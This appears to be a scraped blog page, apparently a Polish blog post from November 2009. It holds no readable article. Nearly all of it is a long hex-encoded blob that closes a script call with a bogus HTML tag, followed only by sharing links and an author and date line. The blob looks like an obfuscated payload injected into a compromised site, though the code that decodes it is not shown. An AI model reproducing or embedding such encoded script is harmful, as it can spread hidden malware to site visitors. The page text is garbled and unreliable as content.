ee643bfd30d2ecc26d9c4b5073c3b3dee88d1b15c34d67bbfe01236b8a67f7589d7a5aa906c45e23d137d3ba35bcdc225712aff8f17d21395160e81eea9e8b5068be19da91c8cd847bb431cbfa202a2adc927af9ceb6b53ee50246a030c80173c04087617fc84173fc1fcb9236c0feffd2fdc68d2ddd8ecb5c98556a7c44970bb3fedce155c62d24b8462ae3c9042f12148a0ee8015ac11828eeb053015d751159d5ad2c50dcc28a9f9470d19e6dcf7ed135665a8eabc9d2b82a7acc6447768adc1cce023083f66ff05caeb040d0cd222cc4190a21545f159219ceb9be1b7d1a050eff20dfa195df3cbacaa0511bc76c9b8bb27425f61d6280f08397cad71fdcfaa106f99d8e58b2e878881b80948edb758838131e9a48bbdee1029c6a46f8287c7b7ac847a46d44b126b49a750dbc5157e28efa119bf2195091f7fe2b7e8a6178cd1aaa70c9eda3ccc4609d0a5f1b0afb635b18cf86943004f137809fa8e1929120369250074243ab109b618793ee20125e14d001b162fed09bc95b00586b4fc6cf0104e9ca2fc87c292b12c804ff01655a2e392179d1f8180fc082026d54123a24fdfc702de2a9e07440227e4cf05eb0864636bf5c89927ad68709bf43d366480ce8ee4cff0330cb593bbb6dddd87f0d43fa1a50856f2492e9adbade0a6e2a13c00effd081e5004cb9cb70301ce78b8c6b716505c50e42bfc19386cba6fede1ac05809ccdf68e1d958771c60a38fab548958320f7a178cbef0537c8997d8677d4b29c917734e17a076f3fab350cff53c1602fd858c865d14d5db0e5f920e654bc0de8d70f8eca49c83516cf9403b29fc432a29afa5954fc3f217cf50790093b14f77727ef85252dbf07ab267a01ed0d21dd78c1dfe5dfb6d97354b8b3477cad39fdc0176c54cf597760c02a8e53e3245892f09007af21748ef6f82e23c54f248f5de1b70fdc1ab00939102bd9dd0ae016615879f7b8a6259d7a7288023a28727dc39ce7c4fe36fcc291abc8dfd095f0c94d9e951650e4572c8ae8a8d0b3dc92492ce301fe21353208dafa3b4105b7c10af75a91915326633c566aa8f89ff0d19c127c8bdaf57d2f97777fc8fc46f8a55991732ef49685cde01739b8a77f7585d5a5aa946c42df3d127b3ba760cdc3257126fa8f17cf13921b0e7df2a9e9b6068ce19da51d8cdb4dbb461abfa101a2b1c627b09feb6a50ee4d1f6a030580163904097917fd84173bbcfcbc276c12eefd2edb68d3e1d8f0b6c98457a7c14970bb3aedcd155c66ce4b855dae389342f12648a0f48014aa11818beb055d17c9452b748e1cf552145ae7484254661d1e37e3589f98b926f4e455a06a6295012f357472d59ed6d200260ac681bcc7cfe198e2d64f90a71845f2592198e79bdeb1d1a34aefee0dfa1d60f3ccafaa040ebc76c8b8b827425e60d62c0c083a7aad70fbcfaa176f99dde58a2d878981b80a4aedb357838133e9a785bded1529caa96f8389c7b3af847a41d44e156b48a550dfc5158229ef9d19bf218f091c7ee2b6e7a6188ed1abaa0c9dd73cc94509cda5f1afacb634ad8cf89645f243294f3444be59714440b82041c15b7cf1fffb61ac4f1e396c0b6bc3d1e5eca5d68346b9c3397eba2cfbcb056a66be598852bb3a8054f31659a3e38e179d1f7f80f9062022d541279f4fe3c502da2e9e07470227e7cf04f00868686bf6c79923a9687097f43d3c647fd38ee8d4f03407b58fb9b6e0dc87f3d83f9da50857f4492f98dba9dea6e2a03cfdf1fd071b5005ce9cb8fe01cd79b8c9b916535e50e32afc1a3c6cbb6beddda7058098cdf68d1d948471c50738fae24a877736ced5c2fb304d6901e878c7c40bf4dc87bc7d148b43a786d553cfb5227e18fc9f09d123841a1d70f0bad7b4147ee2a997199cca4ecb3517ca94ffb59fc439a29afa5950fe3f257af50b8e093a11f77a25ef82232dbe0cab2a7c01ee0821d976c1dfe3dfb6d87353b7b34b80ad3afcc0136754cf5a7763ba2a8d52e3285892f49107ab1d7491fbf83122c54e258f61e2b710d81aaf0a391027d9e004e01566587df8b8aa259d7674880241287282c39be3c4fd31fcc2beadbad3e66c21137de0dd488e335273d71fea10a921db7c3d1f39454b53f5bea9b7f30ecc68cac8aa24555161e31a0a182c7dbd5ffadf9c177f8bdbf27d2b96777fc8fc49fda555937332f99689cce01638b8a77a7585d5a5a9946c46e43d137e3ba65dcdc3267126008f16cf1396190e7ef1a9e8b3068cdc9da81a8cd74cbb4719bfa201a2b0c627b09feb6a50ee4c236a070a80173404057717fd80173ebffcb8286c13f0fd2fde68d2ded8f0b4c98455a7c04670ba37edcd425e58c2615c91f868d08a235f979b35cd4bec5177d034386e53018c559251d2c40fcc27aef94b1219e7e2f7f115566676e8c6a815aa78629a042f397272d19ed6d2fb260ac381b8c6cfe297e2d74f90a61845f555219be89bddb6d1a44ceff20bfa195ef3ccacaa0115bc75c8b8bc26425f60d6280f083d7cad6d00cfa9156f9ddde58e2e878882b80d49edb659838030e9a888bdee1829c9a96f8688c7b6ad847944d44f156b49a050dec5157f27efa019bf2091091b7be2b614a80a82e782d656ca1a84fb7e58c8e63ee6eef62af2d52ba7812a8a536df7fa8d162911076929ff74283bb10ab7187d11e00e2fcb75d1d1eaefa5da8346b5c3397ebf2cfbd4056964be5d8752bc3e8050f616599fe38e1a9d1e8480fd082023d841269b4fe3c802dd2a9e0649022be9cf08f00867696bf6c39926ad686f98f441386483d38ee4cff0370ab592bbb6dce087f4d93f9ea30853f5492f9bdba9dba6dea23c01f1fd08185004cf9cb8ff01cd74b8c5b7164f5c50e357fe0c3082929e370dec4dafd41ceecf6acbc6b1bb4c812df386bfbe60ec9878caed0536c899818577d5b69c927f34e24f057946955dddb5278118fda109cd2284172070f0b8d7b3167ee3ad971a9aca4dc73517d194ffad9fc337a29efb5951fb3f247bf5088d093a15f77627ef86272dbf0eab267e01ee0f21d97ac1dee8dfb7d97354b4b34a80ad3affc0136e54cb5b7764be2a8e53e3245892f19107ab1e748dfbf83225c54f278f5de1b710de1aac07390f26d9dc02e015935a6fecce7e54e7a6b2d03478776dc410d22504f37645f5cfe9f21a108ae4c94c9d951555e45b318ae9acd0b7df924a00e10b0b0b5d03beaebaf30fcd68c9c7aa2453515ee21a09182c7ebd5ffbe19c137d8bdbf67d2b97777ec8fc4afda55694732ef79686cae01639b8a67f7589d7a5aa956c45e33d137c3ba661cdc225712aff8f17d113921b0e7eefa9e8b7068be19da91c8cd84dbb4619bfa202a2adca27af9ceb6b53ee4d216a030780173704057717fc81173abcfcb8556e05e413060ab2ff21201fee187c98f4f788b0b07c3600539a90098b7a54ae378d42f02648a4f38015ae118290eb062d15d651159c5fd2c912cc28aff9471219e7e1f7ee1b56657be8caa915ab736296ff2f366f72d199d6d1fd2609c981b9f3d1d48bf8ae7edad3588d249270932de814f511958c38214b38479b33c19eaa040ebc79ccb8bb2842625dd62b39083977ad6d2ccfa9106f9ddde58e5d878881b80e46edb65683842ce9a883bdf11529c5ac6f8284c7b2ac847e44d44b106b4aa450dbc0158027ef9c19bf2594091c7be2b8e6a61489d1aca60c99d73cc84909cdd1f3a6a3cc0ce1d629a98b2e8862734747c458690747b2573db25378f1ffad187d14e00e31cb79cdd1e9eea5da8346b9c03982bb2cfed4056e90be5c8752bb3580502216559de38e149d1f7f80f9352219c957face9910074a0c63ed028b4f5d280ffa305196a6a92403d9189f687496f440666483cf8ee7d2f03739b593b9b6e1db87f3d53fa1a30856f4492e95dba90fa6de9d3c00f4fd0b1b5004ca9cbb0201cd78b8cab716545f50e72efc1a686cbe6feddca7057cc8cdf2881d998571c90f38feb54894b120fad478ceee053af999808477d8b59c91ac34e57b057c4b95610db5268318019e09d02684174b72e6aded8b45c80feddf4cd519450d824d0ed4f4f2e8f675e0c8369946f03f257cf50b93093a18f77a55ef85272dbe07ab257f01f10a21dc7cc1e2eadfb6d67357e4b346b0ad3d2bc0166c54cf8b7763c02a9251e3275b92f08b07ab4f748df6f83223c552538f60deb713da1aaf36391427d9e102e01962587cf6b8aa259d757688013a28757fc39feac40138fcc68eabc70cd094edc94ccd951684e4562c8aeca8d0b7e5924d01e10e070b6130beaae7f505c07e9df7f4549299901f69055a79b0fc9ff01fe545bdc90930bd20897782c9fc4901a559c17331279689cae01666b8a67a758506a5a98f6c45e13d167f3ba662cdc62271292c8f16ff1396170e82f2a9e8b30690df9da91b8cdc49bb461dbfa531a2b0c827af9feb674eee4c516a0205801b370408a7170080173ebffcbc556c13eefd33d668d2ddd8f0b3c98456a7c04d70bb69efc4097239fd95b5a2f66ac991ec6895d632c00aed5ab4ce29346b55c84315a05cd2c83fcc27a9f9474119e6daf7f11556697fe8c9ab15ae756299312f35a472d59cd6d600260dc281bdc4cfe296e2db4c90a61c45f589219bed9bddb9d1a047efee3bfa185bf3cfa9aa0415bc79cab8bb2342628dd6273c083daaad70fdcfad456f9cdfe58f2c878884b80977edb75683845ee9a784bdf11329c9d66f8785c7b7a7847d40d44e136b4ca550dac9157f55f1930dd5f8c3534cc02ae920f50fd01ee1e64c8f1a85fb8347fbdf31a5a1b639b48cfc6c43ff53137b33fa911929110a6928fc74286ab109eb187d3fe00e31cb7901d1e9f1a5db8246b8c6397dea2cffce056d92be5c8352bf38805320165aa0e392129d228080fc062026d541229a4fe0f502d9259e0744022beccf05ef0864636bf6c39923a8687093f43c3c647fce8ee7d1f03739b58eb6b6dd0f87efd43fa1a2085621492e95dba80da6de9d3c00eefd0b485000c99cb73001c973b8c9bb16536550e758fc196a6cbe6cede0d9057dc8cfe981336cb6bbf64c802dee978cc56d2de5b8c0304e6906d7abc0b7caa79c95ab34e54d057c7a95610eb5277e1801a309cc1e84174d70efb4d7b7467ee2ad971e9eca49c63518cb9403af9fc834a29df75955023f207df50794093741f96d1b05595677ef4cf358b550e94f6e0fb701d42828e517b182f2f33c72ad3dfec0169d54d058775fb92a8d55e3275c92f1bf07ab1c748e28f83129c54f538f5de5b710d71aac04391056d9e00be01593587825b8a6299d756d88056e287582c39f15c40167fcc78eabc8e3d0971fc950a4951884e4562c8ae9dad0b3dc924dfce10e370b5dfebea9e7f30ec768cac6aa27555161e61a0d462c7deb5ffedd9c16b08bdef47d2e97777ff5fe3cf1bb2dc2bd5e39deb8062f0e7b05ddbeb57a17eedcd2aa701f7d086d3ba761cdc621712afc8f16ca1396180e81eea9e9b3068fe39da81c8cdc4bbb4214bfa230a2acc127b3cceb6a53ee51256a0205801835040877170183173ec5fcbd296c12f0fd31de68d012d8f0b2c98482a7c44970be3aedd2145c61d14b845fae398f42f42a48a4f08018ad11858eeb0a2f15d44d15a08fd2c816cc2bddf94a0e19ebdef7f11c5669ace8c9d915aaa86298ff2f397072d59dd6d503260bc381bcf7cfe1c7e2db4e90a71545f58a219b199bddb3d19f50efef3afc0f5409a3dbf4315104a80107b3688f959f161d4c516cbaeb9b380f9f076f9ddce58e2987897eb80d4aedb65883852fe9a3b8bdef4229c9a96f878bc7b4ad847e41d44e116b4cd450dec5157e2bef9d14bf2597091c82e2bae8a6178fd1aea80c9ddb3ccc4609d0a5f1b3b0b634e08cf86443ff7f137b05fa921b2911026926fb74293ab10eb8187d0de00f35cb75d4d1e6eba5d68746b4f1397db82cfe00056d64be5d8952bb358051ef165a9fe392149d228080fd0c2022d84123a04fe0c702da2a9e07470227e9cf04f408636c6bf6f59b19a17e47c73e6d78acb20cdddf163d6a4bf584fbff0f1ec51e147f93970857234b258ef1800ff00fe2842f2a4c035d9d370ddcad434afcb6f6f4f556455350e458fc156d6cbf6dede0aa058198cdf6911d998271ca0b38fbe54a877736ced5c2fb304d6901e878c7c40bf4dc87bc7d148b43a786d553cfb523af18fcd009d026841a1e70f3b5d7b7157edfdd991090e021fa7f470fdc31ebeebf79efd03a99463e8853b83336cb492c06f77755ef85242dc23dab297b01f21121d873c1e219dfb6097357e5b34ab1ad3df9c0166b54cc8a775fc02a8f52e3285b92f58b07ae4f74912cf83129c553248f5ce5b70fe01aab0b391059dbd3fbf6ed95a2a93800d95eec71b4d5387e6867c20cce24022c713cb883abc40dd099edc94dd0951683e456628aeda6d0b4119440f3f7e239558e4306dcf3420a0eb5fc07ea19929a90245838536c6faf5ffb0d9c12b08bdef27d2ec87782c7fc4a01a556c37524edac5dfc2a437900d9b8c48019f2e0d3ac37248645b979d19b0db81771262d8f160013951c0e82f1a9e8e5068f0f9da54c8ece40d11a');</script></qtpnxrjlp></script></head></html>

Read the rest of this entry »

Popularity: 2%

  • Twitter
  • Reddit
  • Slashdot
  • Facebook
  • Digg
  • WordPress
  • StumbleUpon
  • LinkedIn
  • Delicious
  • Blogger Post
  • Google Reader
  • Google Bookmarks
  • Share/Bookmark

Written by Krzysztof Dziądziak

Listopad 10th, 2009 at 11:08 am